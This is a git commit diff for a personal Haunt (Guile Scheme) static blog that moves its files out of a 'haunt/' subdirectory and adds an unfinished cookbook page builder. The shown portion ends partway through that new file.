diff options
| -rw-r--r-- | .gitignore | 17 | ||||
| -rw-r--r-- | .gitmodules | 8 | ||||
| -rw-r--r-- | api.scm (renamed from haunt/api.scm) | 0 | ||||
| -rw-r--r-- | data/blogroll.scm (renamed from haunt/data/blogroll.scm) | 0 | ||||
| -rw-r--r-- | data/bookmarks.scm (renamed from haunt/data/bookmarks.scm) | 0 | ||||
| -rw-r--r-- | data/replies.scm (renamed from haunt/data/replies.scm) | 0 | ||||
| -rw-r--r-- | demux.scm (renamed from haunt/demux.scm) | 0 | ||||
| m--------- | emacs-htmlize (renamed from haunt/emacs-htmlize) | 0 | ||||
| -rw-r--r-- | haunt.scm (renamed from haunt/haunt.scm) | 2 | ||||
| -rw-r--r-- | haunt/.gitignore | 1 | ||||
| -rw-r--r-- | jakob/builder/atom.scm (renamed from haunt/jakob/builder/atom.scm) | 0 | ||||
| -rw-r--r-- | jakob/builder/blog.scm (renamed from haunt/jakob/builder/blog.scm) | 0 | ||||
| -rw-r--r-- | jakob/builder/blogroll.scm (renamed from haunt/jakob/builder/blogroll.scm) | 0 | ||||
| -rw-r--r-- | jakob/builder/cookbook.scm | 67 | ||||
| -rw-r--r-- | jakob/builder/flat-pages.scm | 86 | ||||
| -rw-r--r-- | jakob/builder/htaccess.scm (renamed from haunt/jakob/builder/htaccess.scm) | 0 | ||||
| -rw-r--r-- | jakob/builder/outbox.scm (renamed from haunt/jakob/builder/outbox.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/blacklist.scm (renamed from haunt/jakob/dynamic/blacklist.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/comment-form.scm (renamed from haunt/jakob/dynamic/capabilities/comment-form.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/comments.scm (renamed from haunt/jakob/dynamic/capabilities/comments.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/common.scm (renamed from haunt/jakob/dynamic/capabilities/common.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/gallery.scm (renamed from haunt/jakob/dynamic/capabilities/gallery.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/poll.scm | 329 | ||||
| -rw-r--r-- | jakob/dynamic/capabilities/rsvp.scm (renamed from haunt/jakob/dynamic/capabilities/rsvp.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/captcha.scm (renamed from haunt/jakob/dynamic/captcha.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/config.scm (renamed from haunt/jakob/dynamic/config.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/errors.scm (renamed from haunt/jakob/dynamic/errors.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/import-images.sh (renamed from haunt/jakob/dynamic/import-images.sh) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/logging.scm (renamed from haunt/jakob/dynamic/logging.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/rate-limiter.scm (renamed from haunt/jakob/dynamic/rate-limiter.scm) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/schema-comments.sql (renamed from haunt/jakob/dynamic/schema-comments.sql) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/schema-gallery.sql (renamed from haunt/jakob/dynamic/schema-gallery.sql) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/schema-poll.sql | 27 | ||||
| -rw-r--r-- | jakob/dynamic/schema-rsvp.sql (renamed from haunt/jakob/dynamic/schema-rsvp.sql) | 0 | ||||
| -rw-r--r-- | jakob/dynamic/util.scm (renamed from haunt/jakob/dynamic/util.scm) | 0 | ||||
| -rw-r--r-- | jakob/reader/html-prime.scm (renamed from haunt/jakob/reader/html-prime.scm) | 0 | ||||
| -rw-r--r-- | jakob/reader/org-mode-prime.scm (renamed from haunt/jakob/reader/org-mode-prime.scm) | 0 | ||||
| -rw-r--r-- | jakob/reader/org-mode.scm (renamed from haunt/jakob/reader/org-mode.scm) | 0 | ||||
| -rw-r--r-- | jakob/theme.scm (renamed from haunt/jakob/theme.scm) | 0 | ||||
| -rw-r--r-- | jakob/utils.scm (renamed from haunt/jakob/utils.scm) | 0 | ||||
| -rw-r--r-- | jakob/utils/comments.scm (renamed from haunt/jakob/utils/comments.scm) | 0 | ||||
| -rw-r--r-- | jakob/utils/pagination.scm (renamed from haunt/jakob/utils/pagination.scm) | 0 | ||||
| -rw-r--r-- | jakob/utils/sxml.scm (renamed from haunt/jakob/utils/sxml.scm) | 0 | ||||
| -rw-r--r-- | jakob/utils/tags.scm (renamed from haunt/jakob/utils/tags.scm) | 0 | ||||
| -rw-r--r-- | org/.dir-locals.el | 8 | ||||
| -rw-r--r-- | org/I Love My PinePhone/brainstorming.org | 242 | ||||
| -rw-r--r-- | org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org | 100 | ||||
| -rw-r--r-- | org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg | 694 | ||||
| -rw-r--r-- | org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png | bin | 13180 -> 0 bytes | |||
| -rw-r--r-- | org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png | bin | 32415 -> 0 bytes | |||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg | 227 | ||||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png | bin | 76319 -> 0 bytes | |||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png | bin | 76837 -> 0 bytes | |||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png | bin | 52219 -> 0 bytes | |||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png | bin | 53208 -> 0 bytes | |||
| -rw-r--r-- | org/What I've Learned About Formal Methods In Half a Year/outline.org | 82 | ||||
| -rw-r--r-- | org/pages/.dir-locals.el | 11 | ||||
| -rw-r--r-- | org/pages/about-complete.org | 212 | ||||
| -rw-r--r-- | org/pages/changelog.org | 41 | ||||
| -rw-r--r-- | org/ret2emacs/ret2emacs-overlay-demo.png | bin | 2104 -> 0 bytes | |||
| -rw-r--r-- | org/ret2emacs/umass-ctf-2022.org | 467 | ||||
| -rw-r--r-- | pagefind.toml (renamed from haunt/pagefind.toml) | 0 | ||||
| -rw-r--r-- | pages/about-complete.html | 677 | ||||
| -rw-r--r-- | pages/about-complete.sxml (renamed from haunt/pages/about-complete.sxml) | 0 | ||||
| -rw-r--r-- | pages/about.sxml (renamed from haunt/pages/about.sxml) | 0 | ||||
| -rw-r--r-- | pages/changelog.html | 81 | ||||
| -rw-r--r-- | pages/changelog.sxml (renamed from haunt/pages/changelog.sxml) | 0 | ||||
| -rw-r--r-- | pages/status-400.sxml (renamed from haunt/pages/status-400.sxml) | 0 | ||||
| -rw-r--r-- | pages/status-403.sxml (renamed from haunt/pages/status-403.sxml) | 0 | ||||
| -rw-r--r-- | pages/status-404.sxml (renamed from haunt/pages/status-404.sxml) | 0 | ||||
| -rw-r--r-- | pages/status-429.sxml (renamed from haunt/pages/status-429.sxml) | 0 | ||||
| -rw-r--r-- | pages/status-500.sxml (renamed from haunt/pages/status-500.sxml) | 0 | ||||
| -rw-r--r-- | pages/weblabels.sxml (renamed from haunt/pages/weblabels.sxml) | 0 | ||||
| -rw-r--r-- | posts-assets/Lisp Kludge.png (renamed from haunt/posts-assets/Lisp Kludge.png) | bin | 359511 -> 359511 bytes | |||
| -rw-r--r-- | posts-assets/MyrddinHeap.svg (renamed from haunt/posts-assets/MyrddinHeap.svg) | 0 | ||||
| -rw-r--r-- | posts-assets/bad-behavior-debug-prints.png (renamed from haunt/posts-assets/bad-behavior-debug-prints.png) | bin | 2108 -> 2108 bytes | |||
| -rw-r--r-- | posts-assets/bad-behavior-vanilla-hexen-vulnerability.png (renamed from haunt/posts-assets/bad-behavior-vanilla-hexen-vulnerability.png) | bin | 82603 -> 82603 bytes | |||
| -rw-r--r-- | posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg (renamed from haunt/posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg) | bin | 89507 -> 89507 bytes | |||
| -rw-r--r-- | posts-assets/dollar-bin-reverse-engineering-m2.jpg (renamed from haunt/posts-assets/dollar-bin-reverse-engineering-m2.jpg) | bin | 94065 -> 94065 bytes | |||
| -rw-r--r-- | posts-assets/dollar-bin-reverse-engineering-mac.jpg (renamed from haunt/posts-assets/dollar-bin-reverse-engineering-mac.jpg) | bin | 41466 -> 41466 bytes | |||
| -rw-r--r-- | posts-assets/dollar-bin-reverse-engineering-manual.jpg (renamed from haunt/posts-assets/dollar-bin-reverse-engineering-manual.jpg) | bin | 81706 -> 81706 bytes | |||
| -rw-r--r-- | posts-assets/flipper-zero-hello-world.jpg (renamed from haunt/posts-assets/flipper-zero-hello-world.jpg) | bin | 47620 -> 47620 bytes | |||
| -rw-r--r-- | posts-assets/forge-1-1.png (renamed from haunt/posts-assets/forge-1-1.png) | bin | 76319 -> 76319 bytes | |||
| -rw-r--r-- | posts-assets/forge-1-2.png (renamed from haunt/posts-assets/forge-1-2.png) | bin | 76837 -> 76837 bytes | |||
| -rw-r--r-- | posts-assets/forge-1-3.png (renamed from haunt/posts-assets/forge-1-3.png) | bin | 52219 -> 52219 bytes | |||
| -rw-r--r-- | posts-assets/forge-1-4.png (renamed from haunt/posts-assets/forge-1-4.png) | bin | 53208 -> 53208 bytes | |||
| -rw-r--r-- | posts-assets/gtkcord4-on-pinephone.png (renamed from haunt/posts-assets/gtkcord4-on-pinephone.png) | bin | 220103 -> 220103 bytes | |||
| -rw-r--r-- | posts-assets/kona-1.jpg (renamed from haunt/posts-assets/kona-1.jpg) | bin | 82999 -> 82999 bytes | |||
| -rw-r--r-- | posts-assets/kona-2.jpg (renamed from haunt/posts-assets/kona-2.jpg) | bin | 147421 -> 147421 bytes | |||
| -rw-r--r-- | posts-assets/kona-3.jpg (renamed from haunt/posts-assets/kona-3.jpg) | bin | 271865 -> 271865 bytes | |||
| -rw-r--r-- | posts-assets/kona-4.jpg (renamed from haunt/posts-assets/kona-4.jpg) | bin | 292957 -> 292957 bytes | |||
| -rw-r--r-- | posts-assets/lisp-personality-test.png (renamed from haunt/posts-assets/lisp-personality-test.png) | bin | 7045 -> 7045 bytes | |||
| -rw-r--r-- | posts-assets/logo.png (renamed from haunt/posts-assets/logo.png) | bin | 70229 -> 70229 bytes | |||
| -rw-r--r-- | posts-assets/making-your-own-music-player-analog-vs-digital.png (renamed from haunt/posts-assets/making-your-own-music-player-analog-vs-digital.png) | bin | 11919 -> 11919 bytes | |||
| -rw-r--r-- | posts-assets/mitmproxy-initial.png (renamed from haunt/posts-assets/mitmproxy-initial.png) | bin | 54663 -> 54663 bytes | |||
| -rw-r--r-- | posts-assets/music-on-zeta.png (renamed from haunt/posts-assets/music-on-zeta.png) | bin | 61660 -> 61660 bytes | |||
| -rw-r--r-- | posts-assets/old-webmention-screenshot.png (renamed from haunt/posts-assets/old-webmention-screenshot.png) | bin | 109830 -> 109830 bytes | |||
| -rw-r--r-- | posts-assets/openxcom-on-pinephone.png (renamed from haunt/posts-assets/openxcom-on-pinephone.png) | bin | 296489 -> 296489 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-1.jpg (renamed from haunt/posts-assets/pinephone-1.jpg) | bin | 345804 -> 345804 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-2.jpg (renamed from haunt/posts-assets/pinephone-2.jpg) | bin | 423256 -> 423256 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-3.jpg (renamed from haunt/posts-assets/pinephone-3.jpg) | bin | 593380 -> 593380 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-4.jpg (renamed from haunt/posts-assets/pinephone-4.jpg) | bin | 724410 -> 724410 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-5.jpg (renamed from haunt/posts-assets/pinephone-5.jpg) | bin | 320325 -> 320325 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-6.jpg (renamed from haunt/posts-assets/pinephone-6.jpg) | bin | 1031623 -> 1031623 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-7.jpg (renamed from haunt/posts-assets/pinephone-7.jpg) | bin | 47011 -> 47011 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-running-emacs.png (renamed from haunt/posts-assets/pinephone-running-emacs.png) | bin | 205622 -> 205622 bytes | |||
| -rw-r--r-- | posts-assets/pinephone-running-mpv.png (renamed from haunt/posts-assets/pinephone-running-mpv.png) | bin | 255017 -> 255017 bytes | |||
| -rw-r--r-- | posts-assets/ret2emacs-overlay-demo.png (renamed from haunt/posts-assets/ret2emacs-overlay-demo.png) | bin | 2104 -> 2104 bytes | |||
| -rw-r--r-- | posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png (renamed from haunt/posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png) | bin | 15718 -> 15718 bytes | |||
| -rw-r--r-- | posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png (renamed from haunt/posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png) | bin | 61514 -> 61514 bytes | |||
| -rw-r--r-- | posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png (renamed from haunt/posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png) | bin | 407274 -> 407274 bytes | |||
| -rw-r--r-- | posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png (renamed from haunt/posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png) | bin | 9290 -> 9290 bytes | |||
| -rw-r--r-- | posts-assets/rsvp-screenshot.png (renamed from haunt/posts-assets/rsvp-screenshot.png) | bin | 86931 -> 86931 bytes | |||
| -rw-r--r-- | posts-assets/sdl-tutorial-part-0x00-finished-window.png (renamed from haunt/posts-assets/sdl-tutorial-part-0x00-finished-window.png) | bin | 11966 -> 11966 bytes | |||
| -rw-r--r-- | posts-assets/sdl-tutorial-part-0x00-window.png (renamed from haunt/posts-assets/sdl-tutorial-part-0x00-window.png) | bin | 9405 -> 9405 bytes | |||
| -rw-r--r-- | posts-assets/shellbot-propagation.jpg (renamed from haunt/posts-assets/shellbot-propagation.jpg) | bin | 427743 -> 427743 bytes | |||
| -rw-r--r-- | posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png (renamed from haunt/posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png) | bin | 261565 -> 261565 bytes | |||
| -rw-r--r-- | posts-assets/tunes-on-home-screen.png (renamed from haunt/posts-assets/tunes-on-home-screen.png) | bin | 332347 -> 332347 bytes | |||
| -rw-r--r-- | posts-assets/tunes-on-pinephone.png (renamed from haunt/posts-assets/tunes-on-pinephone.png) | bin | 208116 -> 208116 bytes | |||
| -rw-r--r-- | posts-assets/tunes-on-workstation.png (renamed from haunt/posts-assets/tunes-on-workstation.png) | bin | 364407 -> 364407 bytes | |||
| -rw-r--r-- | posts-assets/umass-ctf-2021-postmortem-1.png (renamed from haunt/posts-assets/umass-ctf-2021-postmortem-1.png) | bin | 13180 -> 13180 bytes | |||
| -rw-r--r-- | posts-assets/umass-ctf-2021-postmortem-2.png (renamed from haunt/posts-assets/umass-ctf-2021-postmortem-2.png) | bin | 32415 -> 32415 bytes | |||
| -rw-r--r-- | posts-assets/warp-mvp.png (renamed from haunt/posts-assets/warp-mvp.png) | bin | 15562 -> 15562 bytes | |||
| -rw-r--r-- | posts-assets/web-server-traffic.jpg (renamed from haunt/posts-assets/web-server-traffic.jpg) | bin | 79557 -> 79557 bytes | |||
| -rw-r--r-- | posts/.dir-locals.el (renamed from haunt/posts/.dir-locals.el) | 0 | ||||
| -rw-r--r-- | posts/analyzing-executable-size-part-0.org (renamed from haunt/posts/analyzing-executable-size-part-0.org) | 0 | ||||
| -rw-r--r-- | posts/backdoorctf-2017-funsignals.org (renamed from haunt/posts/backdoorctf-2017-funsignals.org) | 0 | ||||
| -rw-r--r-- | posts/bad-behavior.org (renamed from haunt/posts/bad-behavior.org) | 0 | ||||
| -rw-r--r-- | posts/browser-games-aren-t-an-easy-target.org (renamed from haunt/posts/browser-games-aren-t-an-easy-target.org) | 0 | ||||
| -rw-r--r-- | posts/challenges-re-writeups-1.org (renamed from haunt/posts/challenges-re-writeups-1.org) | 0 | ||||
| -rw-r--r-- | posts/challenges-re-writeups-2.org (renamed from haunt/posts/challenges-re-writeups-2.org) | 0 | ||||
| -rw-r--r-- | posts/challenges-re-writeups-3.org (renamed from haunt/posts/challenges-re-writeups-3.org) | 0 | ||||
| -rw-r--r-- | posts/challenges-re-writeups-4.org (renamed from haunt/posts/challenges-re-writeups-4.org) | 0 | ||||
| -rw-r--r-- | posts/decompilation-by-hand.org (renamed from haunt/posts/decompilation-by-hand.org) | 0 | ||||
| -rw-r--r-- | posts/dollar-bin-reverse-engineering.org (renamed from haunt/posts/dollar-bin-reverse-engineering.org) | 0 | ||||
| -rw-r--r-- | posts/duke-on-fluidsynth.org (renamed from haunt/posts/duke-on-fluidsynth.org) | 0 | ||||
| -rw-r--r-- | posts/farewell-kona.org (renamed from haunt/posts/farewell-kona.org) | 0 | ||||
| -rw-r--r-- | posts/first-impressions-of-the-kotlin-programming-language.org (renamed from haunt/posts/first-impressions-of-the-kotlin-programming-language.org) | 0 | ||||
| -rw-r--r-- | posts/first-impressions-of-the-myrddin-programming-language.org (renamed from haunt/posts/first-impressions-of-the-myrddin-programming-language.org) | 0 | ||||
| -rw-r--r-- | posts/first-impressions-of-the-rust-programming-language.org (renamed from haunt/posts/first-impressions-of-the-rust-programming-language.org) | 0 | ||||
| -rw-r--r-- | posts/game-hacking-on-linux-scanmem.org (renamed from haunt/posts/game-hacking-on-linux-scanmem.org) | 0 | ||||
| -rw-r--r-- | posts/i-love-my-pinephone.org (renamed from haunt/posts/i-love-my-pinephone.org) | 0 | ||||
| -rw-r--r-- | posts/installing-gentoo-one-month-later.org (renamed from haunt/posts/installing-gentoo-one-month-later.org) | 0 | ||||
| -rw-r--r-- | posts/investigating-a-shellbot-aa-infection.org (renamed from haunt/posts/investigating-a-shellbot-aa-infection.org) | 0 | ||||
| -rw-r--r-- | posts/making-your-own-music-player.org (renamed from haunt/posts/making-your-own-music-player.org) | 0 | ||||
| -rw-r--r-- | posts/plaidctf-2019.org (renamed from haunt/posts/plaidctf-2019.org) | 0 | ||||
| -rw-r--r-- | posts/pushing-haunt-to-its-limits.org (renamed from haunt/posts/pushing-haunt-to-its-limits.org) | 0 | ||||
| -rw-r--r-- | posts/reverse-engineering-babbys-first-archive-format.org (renamed from haunt/posts/reverse-engineering-babbys-first-archive-format.org) | 0 | ||||
| -rw-r--r-- | posts/rust-on-flipper-zero.org (renamed from haunt/posts/rust-on-flipper-zero.org) | 0 | ||||
| -rw-r--r-- | posts/sdl-tutorial-part-0x00.org (renamed from haunt/posts/sdl-tutorial-part-0x00.org) | 0 | ||||
| -rw-r--r-- | posts/slime-the-world-postmortem.org (renamed from haunt/posts/slime-the-world-postmortem.org) | 0 | ||||
| -rw-r--r-- | posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org (renamed from haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org) | 0 | ||||
| -rw-r--r-- | posts/thoughts-on-lisps.org (renamed from haunt/posts/thoughts-on-lisps.org) | 0 | ||||
| -rw-r--r-- | posts/towards-guix-for-devops.org (renamed from haunt/posts/towards-guix-for-devops.org) | 0 | ||||
| -rw-r--r-- | posts/transition-to-haunt.org (renamed from haunt/posts/transition-to-haunt.org) | 0 | ||||
| -rw-r--r-- | posts/umass-ctf-2020-writeup.org (renamed from haunt/posts/umass-ctf-2020-writeup.org) | 0 | ||||
| -rw-r--r-- | posts/umass-ctf-2021-postmortem.org (renamed from haunt/posts/umass-ctf-2021-postmortem.org) | 0 | ||||
| -rw-r--r-- | posts/umass-ctf-2022.org (renamed from haunt/posts/umass-ctf-2022.org) | 0 | ||||
| -rw-r--r-- | posts/understand-game-hacking-in-one-post.org (renamed from haunt/posts/understand-game-hacking-in-one-post.org) | 0 | ||||
| -rw-r--r-- | posts/what-ive-learned-about-formal-methods.org (renamed from haunt/posts/what-ive-learned-about-formal-methods.org) | 0 | ||||
| -rw-r--r-- | squee.scm (renamed from haunt/squee.scm) | 0 | ||||
| m--------- | srfi-197 | 0 | ||||
| -rw-r--r-- | srfi-197.scm (renamed from haunt/srfi-197.scm) | 0 | ||||
| -rw-r--r-- | static/css/fonts.css (renamed from haunt/static/css/fonts.css) | 0 | ||||
| -rw-r--r-- | static/css/highlight.css (renamed from haunt/static/css/highlight.css) | 0 | ||||
| -rw-r--r-- | static/css/normalize.css (renamed from haunt/static/css/normalize.css) | 0 | ||||
| -rw-r--r-- | static/css/style.css (renamed from haunt/static/css/style.css) | 0 | ||||
| -rw-r--r-- | static/font/Cantarell-Bold.otf (renamed from haunt/static/font/Cantarell-Bold.otf) | bin | 69196 -> 69196 bytes | |||
| -rw-r--r-- | static/font/Cantarell-BoldOblique.otf (renamed from haunt/static/font/Cantarell-BoldOblique.otf) | bin | 75888 -> 75888 bytes | |||
| -rw-r--r-- | static/font/Cantarell-Oblique.otf (renamed from haunt/static/font/Cantarell-Oblique.otf) | bin | 74892 -> 74892 bytes | |||
| -rw-r--r-- | static/font/Cantarell-Regular.otf (renamed from haunt/static/font/Cantarell-Regular.otf) | bin | 68340 -> 68340 bytes | |||
| -rw-r--r-- | static/font/Hack-Bold.ttf (renamed from haunt/static/font/Hack-Bold.ttf) | bin | 317628 -> 317628 bytes | |||
| -rw-r--r-- | static/font/Hack-BoldItalic.ttf (renamed from haunt/static/font/Hack-BoldItalic.ttf) | bin | 322288 -> 322288 bytes | |||
| -rw-r--r-- | static/font/Hack-Italic.ttf (renamed from haunt/static/font/Hack-Italic.ttf) | bin | 316156 -> 316156 bytes | |||
| -rw-r--r-- | static/font/Hack-Regular.ttf (renamed from haunt/static/font/Hack-Regular.ttf) | bin | 309408 -> 309408 bytes | |||
| -rw-r--r-- | static/gpg.txt (renamed from haunt/static/gpg.txt) | 0 | ||||
| -rw-r--r-- | static/image/cbt-2023-04-13.jpg (renamed from haunt/static/image/cbt-2023-04-13.jpg) | bin | 375364 -> 375364 bytes | |||
| -rw-r--r-- | static/image/cc-by-sa-4.0.png (renamed from haunt/static/image/cc-by-sa-4.0.png) | bin | 475 -> 475 bytes | |||
| -rw-r--r-- | static/image/clock.png (renamed from haunt/static/image/clock.png) | bin | 46036 -> 46036 bytes | |||
| -rw-r--r-- | static/image/default-icon.png (renamed from haunt/static/image/default-icon.png) | bin | 545281 -> 545281 bytes | |||
| -rw-r--r-- | static/image/favicon.ico (renamed from haunt/static/image/favicon.ico) | bin | 5430 -> 5430 bytes | |||
| -rw-r--r-- | static/image/hourglass.gif (renamed from haunt/static/image/hourglass.gif) | bin | 21999 -> 21999 bytes | |||
| -rw-r--r-- | static/image/i2p.svg (renamed from haunt/static/image/i2p.svg) | 0 | ||||
| -rw-r--r-- | static/image/lambda.svg (renamed from haunt/static/image/lambda.svg) | 0 | ||||
| -rw-r--r-- | static/image/lobsters.png (renamed from haunt/static/image/lobsters.png) | bin | 4535 -> 4535 bytes | |||
| -rw-r--r-- | static/image/oneko.gif (renamed from haunt/static/image/oneko.gif) | bin | 3316 -> 3316 bytes | |||
| -rw-r--r-- | static/image/opengraph-icon-coq.jpg (renamed from haunt/static/image/opengraph-icon-coq.jpg) | bin | 95670 -> 95670 bytes | |||
| -rw-r--r-- | static/image/portrait.png (renamed from haunt/static/image/portrait.png) | bin | 331269 -> 331269 bytes | |||
| -rw-r--r-- | static/image/profile-picture.jpg (renamed from haunt/static/image/profile-picture.jpg) | bin | 69228 -> 69228 bytes | |||
| -rw-r--r-- | static/image/tango-emblem-important.png (renamed from haunt/static/image/tango-emblem-important.png) | bin | 81310 -> 81310 bytes | |||
| -rw-r--r-- | static/image/tor.svg (renamed from haunt/static/image/tor.svg) | 0 | ||||
| -rw-r--r-- | static/image/webmention-logo.png (renamed from haunt/static/image/webmention-logo.png) | bin | 5579 -> 5579 bytes | |||
| -rw-r--r-- | static/js/comment-reaction.js (renamed from haunt/static/js/comment-reaction.js) | 0 | ||||
| -rw-r--r-- | static/js/dynamic-comment-form.js (renamed from haunt/static/js/dynamic-comment-form.js) | 0 | ||||
| -rw-r--r-- | static/js/oneko.js (renamed from haunt/static/js/oneko.js) | 0 | ||||
| -rw-r--r-- | static/js/proof-of-work.js (renamed from haunt/static/js/proof-of-work.js) | 0 | ||||
| -rw-r--r-- | static/js/rsvp.js (renamed from haunt/static/js/rsvp.js) | 0 | ||||
| -rw-r--r-- | static/js/section-folds.js (renamed from haunt/static/js/section-folds.js) | 0 | ||||
| -rw-r--r-- | static/js/webmention.js (renamed from haunt/static/js/webmention.js) | 0 | ||||
| -rw-r--r-- | tests/captcha.scm (renamed from haunt/tests/captcha.scm) | 0 |
200 files changed, 1277 insertions, 2102 deletions
@@ -1,13 +1,6 @@ -.stfolder +.bin-commit-counts.sexp +.org-mode-reader-cache/ +.venv/ +pages/*.html publish.sh - -!/haunt/images/favicon.png - -/haunt/pages/*.html -/haunt/repositories/ -/haunt/site/ -/haunt/.venv/ - -/haunt-old/ - -/haunt/.bin-commit-counts.sexp +site/ diff --git a/.gitmodules b/.gitmodules index 61814de..576d104 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,6 +1,6 @@ -[submodule "ext-srfi-197"] - path = haunt/ext-srfi-197 +[submodule "srfi-197"] + path = srfi-197 url = https://github.com/ar-nelson/srfi-197 -[submodule "haunt/emacs-htmlize"] - path = haunt/emacs-htmlize +[submodule "emacs-htmlize"] + path = emacs-htmlize url = https://github.com/hniksic/emacs-htmlize diff --git a/haunt/data/blogroll.scm b/data/blogroll.scm index 7aefb9d..7aefb9d 100644 --- a/haunt/data/blogroll.scm +++ b/data/blogroll.scm diff --git a/haunt/data/bookmarks.scm b/data/bookmarks.scm index d1fbfdf..d1fbfdf 100644 --- a/haunt/data/bookmarks.scm +++ b/data/bookmarks.scm diff --git a/haunt/data/replies.scm b/data/replies.scm index 4a913dd..4a913dd 100644 --- a/haunt/data/replies.scm +++ b/data/replies.scm diff --git a/haunt/demux.scm b/demux.scm index 2de029d..2de029d 100644 --- a/haunt/demux.scm +++ b/demux.scm diff --git a/haunt/emacs-htmlize b/emacs-htmlize -Subproject ed5e5b05fd260e8f161a488d56f10e7f6e01fb7 +Subproject ed5e5b05fd260e8f161a488d56f10e7f6e01fb7 diff --git a/haunt/haunt.scm b/haunt.scm index 1d24fe9..0611a07 100644 --- a/haunt/haunt.scm +++ b/haunt.scm @@ -15,13 +15,13 @@ ;;; <http://www.gnu.org/licenses/>. (use-modules (haunt builder assets) - (haunt builder flat-pages) (haunt post) (haunt reader) (haunt site) (jakob builder atom) (jakob builder blog) (jakob builder blogroll) + (jakob builder flat-pages) (jakob builder htaccess) (jakob builder outbox) (jakob reader html-prime) diff --git a/haunt/.gitignore b/haunt/.gitignore deleted file mode 100644 index 17935b4..0000000 --- a/haunt/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.org-mode-reader-cache/ diff --git a/haunt/jakob/builder/atom.scm b/jakob/builder/atom.scm index f145443..f145443 100644 --- a/haunt/jakob/builder/atom.scm +++ b/jakob/builder/atom.scm diff --git a/haunt/jakob/builder/blog.scm b/jakob/builder/blog.scm index e03c3e2..e03c3e2 100644 --- a/haunt/jakob/builder/blog.scm +++ b/jakob/builder/blog.scm diff --git a/haunt/jakob/builder/blogroll.scm b/jakob/builder/blogroll.scm index 59ce221..59ce221 100644 --- a/haunt/jakob/builder/blogroll.scm +++ b/jakob/builder/blogroll.scm diff --git a/jakob/builder/cookbook.scm b/jakob/builder/cookbook.scm new file mode 100644 index 0000000..7a916ca --- /dev/null +++ b/jakob/builder/cookbook.scm @@ -0,0 +1,67 @@ +;;; Copyright © 2019 - 2024 Jakob L. Kreuze <zerodaysfordays@sdf.org> +;;; +;;; This program is free software; you can redistribute it and/or +;;; modify it under the terms of the GNU General Public License as +;;; published by the Free Software Foundation; either version 3 of the +;;; License, or (at your option) any later version. +;;; +;;; This program is distributed in the hope that it will be useful, +;;; but WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +;;; General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with this program. If not, see +;;; <http://www.gnu.org/licenses/>. + + +;;; Commentary: +;; +;; TODO +;; +;;; Code: + +(define-module (jakob builder cookbook) + #:use-module (haunt artifact) + #:use-module (haunt html) + #:use-module (haunt post) + #:use-module (haunt reader) + #:use-module (haunt site) + #:use-module (haunt utils) + #:use-module (ice-9 ftw) + #:use-module (ice-9 match) + #:use-module (srfi srfi-11) + #:export (flat-pages)) + +(define* (cookbook directory #:key template prefix) + ;; TODO: Document me + (lambda (site posts) + ;; Recursively scan the directory and generate a page for each + ;; file found. + (define (enter? file-name stat memo) #t) + (define (noop file-name stat memo) memo) + (define keep? (site-file-filter site)) + (define (leaf file-name stat memo) + (if (keep? file-name) (cons file-name memo) memo)) + (define (err file-name stat errno memo) + (error "flat page directory scanning failed" file-name errno)) + (define src-files + (file-system-fold enter? leaf noop noop noop err '() directory)) + ;; (define (strip-extension file-name) + ;; (basename file-name + ;; (string-append "." (file-extension file-name)))) + ;; (map (lambda (file-name) + ;; (match (reader-find (site-readers site) file-name) + ;; (reader + ;; (let-values (((metadata body) (reader-read reader file-name))) + ;; (let* ((dir (substring (dirname file-name) + ;; (string-length directory))) + ;; 